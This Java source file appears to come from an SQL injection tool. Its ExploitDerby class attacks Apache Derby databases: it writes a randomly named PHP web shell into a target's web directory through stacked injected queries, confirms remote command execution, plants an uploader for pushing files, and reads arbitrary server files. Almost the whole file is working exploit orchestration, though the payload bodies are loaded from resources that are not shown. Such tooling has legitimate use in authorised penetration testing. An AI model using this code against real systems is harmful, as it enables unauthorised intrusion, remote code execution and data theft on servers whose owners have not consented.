1 package com.jsql.model.accessible.engine;
2
3 import com.jsql.model.InjectionModel;
4 import com.jsql.model.accessible.CallableFile;
5 import com.jsql.model.accessible.DataAccess;
6 import com.jsql.model.accessible.ResourceAccess;
7 import com.jsql.model.accessible.engine.derby.ModelYamlDerby;
8 import com.jsql.model.bean.database.MockElement;
9 import com.jsql.view.subscriber.Seal;
10 import com.jsql.model.exception.AbstractSlidingException;
11 import com.jsql.model.exception.JSqlException;
12 import com.jsql.model.exception.JSqlRuntimeException;
13 import com.jsql.model.suspendable.SuspendableGetRows;
14 import com.jsql.util.LogLevelUtil;
15 import com.jsql.util.StringUtil;
16 import org.apache.commons.lang3.RandomStringUtils;
17 import org.apache.commons.lang3.StringUtils;
18 import org.apache.logging.log4j.LogManager;
19 import org.apache.logging.log4j.Logger;
20 import org.yaml.snakeyaml.Yaml;
21
22 import java.io.File;
23 import java.io.FileInputStream;
24 import java.io.IOException;
25 import java.io.InputStream;
26 import java.net.http.HttpResponse;
27 import java.util.function.BinaryOperator;
28
29 public class ExploitDerby {
30
31 private static final Logger LOGGER = LogManager.getRootLogger();
32 private final InjectionModel injectionModel;
33 private final ModelYamlDerby modelYaml;
34
35 public ExploitDerby(InjectionModel injectionModel) {
36 this.injectionModel = injectionModel;
37 var yaml = new Yaml();
38 this.modelYaml = yaml.loadAs(
39 injectionModel.getMediatorEngine().getDerby().instance().getModelYaml().getResource().getExploit(),
40 ModelYamlDerby.class
41 );
42 }
43
44 public String createWeb(String pathExploit, String urlExploit) {
45 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE Web target requirements: stack query, web+db on same machine, jdbc bridge");
46
47 String bodyExploit = StringUtil.base64Decode(
48 this.injectionModel.getMediatorUtils().propertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_WEB)
49 )
50 .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
51 .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
52
53 var nameTable = RandomStringUtils.secure().nextAlphabetic(8);
54 var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
55 this.injectionModel.injectWithoutIndex(String.format(
56 this.modelYaml.getFile().getWrite(),
57 nameTable,
58 nameTable, bodyExploit.replace("'", "''"),
59 nameTable,
60 pathExploit + nameExploit
61 ), ResourceAccess.TBL_CREATE);
62
63 BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
64 String result = this.injectionModel.getResourceAccess().callCommand(
65 urlSuccess +"?c="+ ResourceAccess.WEB_CONFIRM_CMD
66 );
67 if (!result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
68 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit body not found");
69 return StringUtils.EMPTY;
70 }
71 this.injectionModel.sendToViews(new Seal.AddTabExploitWeb(urlSuccess));
72 return urlSuccess;
73 };
74
75 return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
76 }
77
78 public void createUpload(String pathExploit, String urlExploit, File fileToUpload) {
79 String bodyExploit = StringUtil.base64Decode(
80 this.injectionModel.getMediatorUtils().propertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_UPL)
81 )
82 .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
83 .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
84
85 var nameTable = RandomStringUtils.secure().nextAlphabetic(8);
86 var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
87 this.injectionModel.injectWithoutIndex(String.format(
88 this.modelYaml.getFile().getWrite(),
89 nameTable,
90 nameTable, bodyExploit.replace("'", "''"),
91 nameTable,
92 pathExploit + nameExploit
93 ), ResourceAccess.TBL_CREATE);
94
95 BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
96 try (InputStream streamToUpload = new FileInputStream(fileToUpload)) {
97 HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload);
98 if (result.body().contains(DataAccess.LEAD +"y")) {
99 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName());
100 } else {
101 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName());
102 }
103 } catch (InterruptedException e) {
104 LOGGER.log(LogLevelUtil.IGNORE, e, e);
105 Thread.currentThread().interrupt();
106 } catch (IOException | JSqlException e) {
107 throw new JSqlRuntimeException(e);
108 }
109 return urlSuccess;
110 };
111
112 this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
113 }
114
115 public String getRead(String pathFile) throws AbstractSlidingException {
116 LOGGER.log(LogLevelUtil.CONSOLE_INFORM, CallableFile.REQUIRE_STACK);
117 var nameTable = RandomStringUtils.secure().nextAlphabetic(8);
118 this.injectionModel.injectWithoutIndex(String.format(
119 this.injectionModel.getResourceAccess().getExploitDerby().getModelYaml().getFile().getCreateTable(),
120 nameTable,
121 nameTable, pathFile
122 ), ResourceAccess.TBL_FILL);
123 return new SuspendableGetRows(this.injectionModel).run(
124 String.format(
125 this.injectionModel.getResourceAccess().getExploitDerby().getModelYaml().getFile().getRead(),
126 nameTable
127 ),
128 new String[]{ StringUtils.EMPTY },
129 true,
130 0,
131 MockElement.MOCK,
132 ResourceAccess.FILE_READ
133 );
134 }
135
136 public ModelYamlDerby getModelYaml() {
137 return this.modelYaml;
138 }
139 }